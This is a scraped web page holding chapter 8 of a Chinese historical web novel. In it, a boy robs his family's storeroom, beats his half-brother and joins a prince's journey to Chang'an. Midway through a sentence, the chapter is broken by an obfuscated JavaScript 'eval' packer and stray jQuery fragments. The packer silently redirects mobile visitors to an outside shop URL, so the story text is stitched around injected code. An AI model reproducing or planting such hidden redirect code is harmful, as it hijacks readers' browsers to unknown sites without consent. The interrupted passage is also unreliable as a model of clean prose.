文趣网 > 其他小说 > 乱臣贼子的白月光 > 8. 第 8 章
    崔玄度想好了要走,可怎么走是个问题。他没钱没马,没有路引文书。再说他自家去,王爷肯不肯要他。当然最后这个问题他想过了,大不了就一路跟着。他不说要跟他们一道,只说同路,难道只许他们去长安?

    主意很快就有了。

    这天夜里崔玄度先去找了崔二郎。这厮睡的正酣,被他吓的险些魂都要没了。

    “你要干什......呜呜呜。”

    “二郎莫慌,我寻你有要紧事。二郎想不想随世子一道去长安?”崔玄度说话轻且慢,像只狐狸,叫人想到那些妓所里的姑娘。她们揽客的时候就是这样,眼睛盯着男人,余光却在他们身上的钱袋子上。

    见他不挣扎了,崔玄度松开捂住他嘴的手。

    “要去也是白天的事,你半夜里到我屋里了干什么?”

    “白天就来不及了。”

    “你快说!”

    崔玄度见他信了,一屁股坐在榻子上。“世子说了他自家说了不算,要王爷准许才行。”

    “这不是废话,先前郡主不就讲过了。”

    “是啊,所以得王爷同意。王爷怎么才能同意呢?我们两个儿郎去同我阿姐可不一样,阿姐是去伺候的,我们那是奔前程去的。王爷怎么能平白无故带我们去?”

    崔二郎一想便明白了,不屑道:“阿耶给的银钱还不多?再说怎么是我们,有你什么事儿?”

    崔玄度谄媚道:“我是去伺候二郎的。难道真要叫你去服侍世子?这些脏活累活只管叫我来。二郎是做宾客去的。如此说来,那些银钱怎么够。”

    崔二郎一听是这个道理。他可服侍不来人,带上这个小杂种,自家就能摘出来了。

    “那我去同阿耶讲。”

    “哎哎哎。”崔玄度拦他。“可不能说。”

    “二郎想这寻常人还要脸面呢,更何况王爷。消息是我阿姐试探来的。王爷也不会直白地同阿姐讲。你要是同阿耶说了,阿耶再去问王爷。那王爷怎么想?没得迁怒阿姐。到时别说是你我,阿姐都不要了。”

    “那怎么办?”崔二郎眉头拧起来,烦的很。他最讨厌这样绕来绕去的事。

    “咱们自家去做。先斩后奏。等事情做成了,阿耶不会怪罪的。”

    有崔二郎带头,崔玄度顺顺当当进了府中库房。

    崔二郎问他拿什么。崔玄度说:“除了给王爷的咱们自家还要带些盘缠。”他自己则是取了一柄上好的横刀,难得的是配了条饰金玉的革带。

    崔二郎在这时候和护食儿的狼一样。给王爷是一回事,小杂种还挑起来了。

    崔玄度解释道:“我是为了护二郎周全。二郎放心,这革带等我出去换了普通的,便给你收好。”

    他们一番搜刮,再去马厩。

    崔二郎挑好了马正要爬上去。崔玄度一把将他拽下来,接着就塞了他一嘴马粪。

    崔玄度自家蒙着面,就露出一双幸灾乐祸的眼睛,利落地将人给绑了,解下崔二郎身上的衣服,给他兜头蒙起来。

    “还呜呜,再赏你一口。再出声,小心我将你一刀砍了。”他手上用力,把马粪糊进他嘴里,反复碾了碾。

    先前怎么被他打的,就怎么还回去。

    崔二郎身上脑袋上被框框砸了数拳,又挨了几脚重踢,最后一下直接把他踹到马厩最里面。

    崔玄度拿着那些钱财,骑上马就溜了。有了银钱,还愁路引?

    那头,李贺(庐陵王)一行在去往长安的路上。

    李圆珠看见崔玉娘忍不住就有些别扭。所幸李贺并没有表现的和她很亲密。或许是在赶路,行路不便。这姑娘甚至身边连个伺候的人都没有,还要同婢女们一道浣衣煮饭。

    在离开邓州不久,身后便有人追来。

    李璟立马认出他,正是那日打赢的人。他立刻要让他做亲卫。

    李贺谨慎的多,问:“你父亲让你来的?”

    崔玄度跪地道:“是我自家主意。阿耶儿郎众多,不缺我一个。如今阿姐随王爷离开,我便也没了留下来的理由。此生只盼能追随王爷、世子。”

    李贺见着他小小年纪,行事却十分妥帖。两句话回答的更是滴水不漏。原先想叫他回去的心思便淡了许多。

    他有意再观察一番,李璟却急的上蹿下跳。“阿耶,我就要他!我堂堂世子,身边没个亲卫像什么样子。你看他舍了他阿耶,一路从邓州追来,想见是个忠心的。”

    “他那是为了他阿姐,可不是为了你。”

    “为了他阿姐也好,我就喜欢这样的人,肯定是个重情义的。”

    接下来李璟有了崔玄度,便觉得路上十分有意思。他身边玩伴少,阿姐虽好,但到底是个女郎。年纪大起来,他更想有个和他一样的男孩子。

    崔玄度骑得一手好马。李璟个子小,先前都是做马车。如今有崔玄度在,他便能带着他。他早不想闷在马车里了。有时打猎,有时抓鱼,不亦乐乎。

    不知是不是崔玄度多想,总觉得郡主似乎有些关注阿姐。

    他下意识便有些戒备。阿姐却说不是,怪他多想。

    他来的那日,崔玉娘便问了他家中情况。崔玄度不瞒她。玉娘吓得差点昏过去。

    “你胆子怎的这样大?!要出事的,必是要出事的!”

    崔玄度将偷来的金银交给她,不在意道:“阿姐担心什么?定不会有事。我如今人都来了,阿耶还能如何?阿姐现下服侍王爷,日后说不得要他巴结咱们。”

    他这时才说起李圆珠。他从小在女人堆里长大,到了崔府又见了不少妻妾相争。郡主说不定就是防备着阿姐,生怕阿姐抢了王爷的注意,届时再生下儿郎来。

    “阿姐自家小心些。”他只能这样叮嘱。

    后来有一日到了县城落脚,崔玉娘来了月事,疼痛难忍。她叫崔玄度给她端碗暖身的姜茶。崔玄度刚刚从膳房出来,便见郡主身边的婢女带着一个老大夫上楼去。

    “有没有避子的方子?”

    崔玄度将将走近,就听见郡主在问。

    大夫回:“没有。砒霜吃一些下去必生不出孩子来。”

    “......”李圆珠当时觉得他在骂她,搞得自己十分窘迫。她不过是觉得崔玉娘太小了,怀孕生子有风险罢了。

    可这些想法崔玄度不知道,心里对李圆珠便更是防备。

    他装作不知敲门。李圆珠十分自然地看向他手里的姜茶。“你阿姐有些宫寒,我让大夫开了方

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631645|206378||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子,等下你随他出去抓了药回来。”

    “谢过郡主。”崔玄度一时有些犹豫。要是离了阿姐身边,她会不会使坏。可自家去抓药他才能放心,谁知道她身边的丫头会不会得了什么授意。

    “豆眉,你把姜茶拿进去吧。”

    不想她自家伸手过来,崔玄度吓得差点把碗给摔了。

    李圆珠一点都没察觉(她就是这么迟钝),把碗赶紧给了豆眉,自己烫的直揪耳朵,嘴巴里还念:“好烫呀,烫死我了。”又奇怪,问崔玄度:“你怎么拿的住的?真是铁手啊。”

    崔玄度被她这么一通弄得不自在了,两只手擦着袍子往后躲,摸到自家手上厚厚的茧子。

    他带着大夫出去,没成想她又追出来。

    “穿件斗篷再去,别冻坏了。”

    崔玄度仰着头,头一次见这样奇怪的女郎,明明和他一样年纪,做事却像个......

    他怎么能知道,李圆珠就是这样的心态呀。

    想想,十二岁的男孩子,要自己骑着马带大夫去药房抓药。就好比现代一个小学生和家里人一起去看病,他不是看病的那个,他是陪护的那个!全程自己跑到医院里去挂号拿药。这要放到wb、dy里面,多少阿姨心疼啊。要不是经过几天相处,李圆珠知道他确实非常独立,都不敢叫他一个人去。

    这日,李璟同崔玄度照旧骑着马四处跑,突然见路边有一些紫色的花。李璟立刻让崔玄度去采。“拿回去给阿姐,阿姐喜欢这些。”

    这样的事不鲜见,甭讲花了,他路上凡是碰到些新鲜东西头一个想到的就是自家阿姐。

    李璟抱着一捧花跑到李圆珠的马车前。李圆珠探出头,十分捧场。

    “哇,阿璟可真厉害,哪里寻来的?是特地给我寻的?”

    “对啊,我一见着这花,就知道阿姐你肯定喜欢。”

    李圆珠伸出手在他脑袋上奖励地揉了揉。“喜欢喜欢。我家阿璟可真是太贴心了。”

    儿童心理学嘛。李圆珠炉火纯青。

    崔玄度远远见着,自家好像从来没有送过阿姐花,要是赚了些银钱倒是恨不得立马跑到她跟前炫耀。

    “今日我将人领到戴娘子屋里,她忒小气,给了我两文钱叫我买糖吃。我稀得她两文钱,下次绝对不给她带人了!“

    “绸缎铺的赵郎君,他夫人寻上来,要不是我给他指了咱们后院里的狗洞,他要被他夫人牙打掉。我拿了他一两银子,给阿姐买簪子戴。”

    阿姐呢,阿姐多半还在做工,系着襻膊。要么让他别去前头,小心挨打;要么说从哪个姑娘屋里捡了吃剩的点心,叫他赶紧去拿。

    崔玄度看着手里花,虽说都是姐弟,但他不好直接跑到阿姐跟前去。

    李圆珠刚好看见,脑洞了一下便叫豆眉去将崔玉娘叫来。

    崔玄度后来想他是何时对郡主卸下防备的,就是那日。

    她戴着编织的花环,坐在铺着毡子的草地上。日光明媚,她抓住世子,硬是将手上新作的花环戴在他头上,逗趣道:“你们两个都是做弟弟的,要听姐姐的话呀。”

    在李璟的“威压”下,崔玄度也戴上了花环。

    李圆珠笑的微微后仰,整个人都在发光。